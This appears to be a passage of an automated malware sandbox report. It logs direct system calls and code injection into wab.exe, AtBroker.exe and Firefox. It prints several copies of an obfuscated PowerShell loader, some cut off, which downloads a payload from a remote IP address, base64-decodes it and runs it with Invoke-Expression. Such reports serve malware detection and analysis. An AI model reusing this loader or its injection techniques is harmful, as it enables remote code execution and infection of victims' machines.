Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtQueryInformationToken: Direct from: 0x76EF2CAC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtCreateFile: Direct from: 0x76EF2FEC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtOpenFile: Direct from: 0x76EF2DCC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtTerminateThread: Direct from: 0x76EF2FCC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtOpenKeyEx: Direct from: 0x76EF2B9C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtSetInformationProcess: Direct from: 0x76EF2C5C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtProtectVirtualMemory: Direct from: 0x76EF2F9C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtWriteVirtualMemory: Direct from: 0x76EF2E3C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtUnmapViewOfSection: Direct from: 0x76EF2D3C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtNotifyChangeKey: Direct from: 0x76EF3C2C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtCreateMutant: Direct from: 0x76EF35CC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtResumeThread: Direct from: 0x76EF36AC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtMapViewOfSection: Direct from: 0x76EF2D1C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtProtectVirtualMemory: Direct from: 0x76EE7B2E Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtAllocateVirtualMemory: Direct from: 0x76EF2BFC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtQuerySystemInformation: Direct from: 0x76EF2DFC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtReadFile: Direct from: 0x76EF2ADC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtDelayExecution: Direct from: 0x76EF2DDC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtQueryInformationProcess: Direct from: 0x76EF2C26 Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtResumeThread: Direct from: 0x76EF2FBC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtCreateUserProcess: Direct from: 0x76EF371C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtAllocateVirtualMemory: Direct from: 0x76EF3C9C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtWriteVirtualMemory: Direct from: 0x76EF490C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtSetInformationThread: Direct from: 0x76EE63F9 Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtSetInformationThread: Direct from: 0x76EF2B4C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtReadVirtualMemory: Direct from: 0x76EF2E8C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtCreateKey: Direct from: 0x76EF2C6C Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: NULL target: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Section loaded: NULL target: C:\Program Files (x86)\Windows Mail\wab.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Section loaded: NULL target: C:\Windows\SysWOW64\AtBroker.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: NULL target: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: NULL target: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\AtBroker.exe Thread register set: target process: 5008 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\AtBroker.exe Thread APC queued: target process: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2E90000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2E7FC70 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe" Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$offence = 1;$rabbitriesnterimsstyre='substrin';$rabbitriesnterimsstyre+='g';function adskilligt($tegnedatabasen){$bejig=$tegnedatabasen.length-$offence;for($rabbitries=1; $rabbitries -lt $bejig; $rabbitries+=(2)){$foundlings+=$tegnedatabasen.$rabbitriesnterimsstyre.invoke($rabbitries, $offence);}$foundlings;}function apalachicola($specieskbenes){&($milleardtedele) ($specieskbenes);}$folkedemokrati=adskilligt 'imhoazai.l l,ao/ 5 .t0w s(,w,iun,dgobw,sh sndte .1h0p.g0,; rwpi nn6r4 ;n xm6t4k;, cruv :r1m2g1 . 0c) bgve,cekbo,/,2 0,1,0 0e1l0 1, lfuitr.enfko,xs/ 1a2u1y.,0l ';$godsterminalers=adskilligt 'hupsme rt-.aague,n tg ';$discredit=adskilligt 'ghtt tjp :m/,/.8,7f. 1.2,1..u1 0 5s.m1a6p3c/ akc a riifa,t,r ea4s3,. cbhbm ';$trlbundnes=adskilligt ' >m ';$milleardtedele=adskilligt 'tiue.x ';$phillipeener = adskilligt ' escsh os r%haup ped ast al%,\ b.abl lhe pnraeusfs e r.e.s,. ifnne k&e&m we.cahsok .$ ';apalachicola (adskilligt ' $mgrlfoub akl :mgmebrcmkief.uugbe.= (,ctmhdv /hce .$up htiul.lpiuppe esn.edra), ');apalachicola (adskilligt 's$,g l,o b aklv:ibaafrfrfa m utnmdpazsp= $ d i sncur evd ifts.tslpsldittu( $,t.r lfb,uen dqn ens )s ');$discredit=$barramundas[0];apalachicola (adskilligt 'p$ gel.okbtanlf: o,vuerr gbe nke.r a.l i z iunrg =,n,esw -.o b jte cutp .sfyus.tbevmd. n eetg.swbefboc.lki esnft ');apalachicola (adskilligt 'w$ o.v e.rlgmemn.eurjagldipz ipn gp. h enagdae,rdsa[ $pgeo d sptae.r,mbimnua lje,r sa]t=u$.f o.l kserd e,mgookfrpa tpi ');$lordlily=adskilligt 'dorv earhguern.esrkasl idzpign g .,dsotwfn,l.obard f islhep( $ d i,sbc rse.dhittk,i$,o z,opn.itc,), ';$lordlily=$germifuge[1]+$lordlily;$ozonic=$germifuge[0];apalachicola (adskilligt 'n$,g.l osb a.la:rf,etrkstk vla n d,e n,eb=c(,t evsst -wpea tih $mo z,oen,iwc ) ');while (!$ferskvandene) {apalachicola (adskilligt ' $ g lvo boahl :fcroum.p l e,m e,nat eir.= $ tjr u eb ') ;apalachicola $lordlily;apalachicola (adskilligt ' s.t a,rrtm- sdllene.p 4t ');apalachicola (adskilligt ' $fg l,o b a l :ff,e r stkav a nod.etn e,= (ttse.s t -lptalthh c$so zbo.niioca) ') ;apalachicola (adskilligt 'u$ g l o bhakl : e n emr,vsetrtes=r$bgsl obb.a.lh:ft eor m o m emter.e.n.ef+,+ % $ bpa r r a m ubnadna s .sckobucn ts ') ;$discredit=$barramundas[$enervere];}apalachicola (adskilligt 'u$sgolwo,bcanl : ftitrteflto c kls ,=. ug ettt-oc,o nrtle,nat $fo,z o.neiica ');apalachicola (adskilligt ',$cg l oabpaclp: lhipt tpe rha t umril i.s t e ne1u4n m=d [.s.y.s.tke mr.,cio,ntv e r,t,]f:d: f rao.m.b a.sseb6t4,set rsisn g,( $mf igrreplio csk sm)n ');apalachicola (adskilligt 'g$jg,llogbdatl :sv eer b ibg evr a thi n.gb b=a [rswyes.t e,ms. tlefx tc. ekn cnoodeitnmg ],:k:ka spc iuit. g,ect s tnrmi npg (u$ laigtet e rvaet umrrl i.stt e ne1b4.)s ');apalachicola (adskilligt 'n$.g.lmovboasl.: kta r r i e r e.r ndes1 5 8s= $ov errpbai g e,r aqt,i,nhgn. sburb shtmr ipnrgl( 3 3b6t3 9 4,,.2b5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$offence = 1;$rabbitriesnterimsstyre='substrin';$rabbitriesnterimsstyre+='g';function adskilligt($tegnedatabasen){$bejig=$tegnedatabasen.length-$offence;for($rabbitries=1; $rabbitries -lt $bejig; $rabbitries+=(2)){$foundlings+=$tegnedatabasen.$rabbitriesnterimsstyre.invoke($rabbitries, $offence);}$foundlings;}function apalachicola($specieskbenes){&($milleardtedele) ($specieskbenes);}$folkedemokrati=adskilligt 'imhoazai.l l,ao/ 5 .t0w s(,w,iun,dgobw,sh sndte .1h0p.g0,; rwpi nn6r4 ;n xm6t4k;, cruv :r1m2g1 . 0c) bgve,cekbo,/,2 0,1,0 0e1l0 1, lfuitr.enfko,xs/ 1a2u1y.,0l ';$godsterminalers=adskilligt 'hupsme rt-.aague,n tg ';$discredit=adskilligt 'ghtt tjp :m/,/.8,7f. 1.2,1..u1 0 5s.m1a6p3c/ akc a riifa,t,r ea4s3,. cbhbm ';$trlbundnes=adskilligt ' >m ';$milleardtedele=adskilligt 'tiue.x ';$phillipeener = adskilligt ' escsh os r%haup ped ast al%,\ b.abl lhe pnraeusfs e r.e.s,. ifnne k&e&m we.cahsok .$ ';apalachicola (adskilligt ' $mgrlfoub akl :mgmebrcmkief.uugbe.= (,ctmhdv /hce .$up htiul.lpiuppe esn.edra), ');apalachicola (adskilligt 's$,g l,o b aklv:ibaafrfrfa m utnmdpazsp= $ d i sncur evd ifts.tslpsldittu( $,t.r lfb,uen dqn ens )s ');$discredit=$barramundas[0];apalachicola (adskilligt 'p$ gel.okbtanlf: o,vuerr gbe nke.r a.l i z iunrg =,n,esw -.o b jte cutp .sfyus.tbevmd. n eetg.swbefboc.lki esnft ');apalachicola (adskilligt 'w$ o.v e.rlgmemn.eurjagldipz ipn gp. h enagdae,rdsa[ $pgeo d sptae.r,mbimnua lje,r sa]t=u$.f o.l kserd e,mgookfrpa tpi ');$lordlily=adskilligt 'dorv earhguern.esrkasl idzpign g .,dsotwfn,l.obard f islhep( $ d i,sbc rse.dhittk,i$,o z,opn.itc,), ';$lordlily=$germifuge[1]+$lordlily;$ozonic=$germifuge[0];apalachicola (adskilligt 'n$,g.l osb a.la:rf,etrkstk vla n d,e n,eb=c(,t evsst -wpea tih $mo z,oen,iwc ) ');while (!$ferskvandene) {apalachicola (adskilligt ' $ g lvo boahl :fcroum.p l e,m e,nat eir.= $ tjr u eb ') ;apalachicola $lordlily;apalachicola (adskilligt ' s.t a,rrtm- sdllene.p 4t ');apalachicola (adskilligt ' $fg l,o b a l :ff,e r stkav a nod.etn e,= (ttse.s t -lptalthh c$so zbo.niioca) ') ;apalachicola (adskilligt 'u$ g l o bhakl : e n emr,vsetrtes=r$bgsl obb.a.lh:ft eor m o m emter.e.n.ef+,+ % $ bpa r r a m ubnadna s .sckobucn ts ') ;$discredit=$barramundas[$enervere];}apalachicola (adskilligt 'u$sgolwo,bcanl : ftitrteflto c kls ,=. ug ettt-oc,o nrtle,nat $fo,z o.neiica ');apalachicola (adskilligt ',$cg l oabpaclp: lhipt tpe rha t umril i.s t e ne1u4n m=d [.s.y.s.tke mr.,cio,ntv e r,t,]f:d: f rao.m.b a.sseb6t4,set rsisn g,( $mf igrreplio csk sm)n ');apalachicola (adskilligt 'g$jg,llogbdatl :sv eer b ibg evr a thi n.gb b=a [rswyes.t e,ms. tlefx tc. ekn cnoodeitnmg ],:k:ka spc iuit. g,ect s tnrmi npg (u$ laigtet e rvaet umrrl i.stt e ne1b4.)s ');apalachicola (adskilligt 'n$.g.lmovboasl.: kta r r i e r e.r ndes1 5 8s= $ov errpbai g e,r aqt,i,nhgn. sburb shtmr ipnrgl( 3 3b6t3 9 4,,.2b5
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$offence = 1;$rabbitriesnterimsstyre='substrin';$rabbitriesnterimsstyre+='g';function adskilligt($tegnedatabasen){$bejig=$tegnedatabasen.length-$offence;for($rabbitries=1; $rabbitries -lt $bejig; $rabbitries+=(2)){$foundlings+=$tegnedatabasen.$rabbitriesnterimsstyre.invoke($rabbitries, $offence);}$foundlings;}function apalachicola($specieskbenes){&($milleardtedele) ($specieskbenes);}$folkedemokrati=adskilligt 'imhoazai.l l,ao/ 5 .t0w s(,w,iun,dgobw,sh sndte .1h0p.g0,; rwpi nn6r4 ;n xm6t4k;, cruv :r1m2g1 . 0c) bgve,cekbo,/,2 0,1,0 0e1l0 1, lfuitr.enfko,xs/ 1a2u1y.,0l ';$godsterminalers=adskilligt 'hupsme rt-.aague,n tg ';$discredit=adskilligt 'ghtt tjp :m/,/.8,7f. 1.2,1..u1 0 5s.m1a6p3c/ akc a riifa,t,r ea4s3,. cbhbm ';$trlbundnes=adskilligt ' >m ';$milleardtedele=adskilligt 'tiue.x ';$phillipeener = adskilligt ' escsh os r%haup ped ast al%,\ b.abl lhe pnraeusfs e r.e.s,. ifnne k&e&m we.cahsok .$ ';apalachicola (adskilligt ' $mgrlfoub akl :mgmebrcmkief.uugbe.= (,ctmhdv /hce .$up htiul.lpiuppe esn.edra), ');apalachicola (adskilligt 's$,g l,o b aklv:ibaafrfrfa m utnmdpazsp= $ d i sncur evd ifts.tslpsldittu( $,t.r lfb,uen dqn ens )s ');$discredit=$barramundas[0];apalachicola (adskilligt 'p$ gel.okbtanlf: o,vuerr gbe nke.r a.l i z iunrg =,n,esw -.o b jte cutp .sfyus.tbevmd. n eetg.swbefboc.lki esnft ');apalachicola (adskilligt 'w$ o.v e.rlgmemn.eurjagldipz ipn gp. h enagdae,rdsa[ $pgeo d sptae.r,mbimnua lje,r sa]t=u$.f o.l kserd e,mgookfrpa tpi ');$lordlily=adskilligt 'dorv earhguern.esrkasl idzpign g .,dsotwfn,l.obard f islhep( $ d i,sbc rse.dhittk,i$,o z,opn.itc,), ';$lordlily=$germifuge[1]+$lordlily;$ozonic=$germifuge[0];apalachicola (adskilligt 'n$,g.l osb a.la:rf,etrkstk vla n d,e n,eb=c(,t evsst -wpea tih $mo z,oen,iwc ) ');while (!$ferskvandene) {apalachicola (adskilligt ' $ g lvo boahl :fcroum.p l e,m e,nat eir.= $ tjr u eb ') ;apalachicola $lordlily;apalachicola (adskilligt ' s.t a,rrtm- 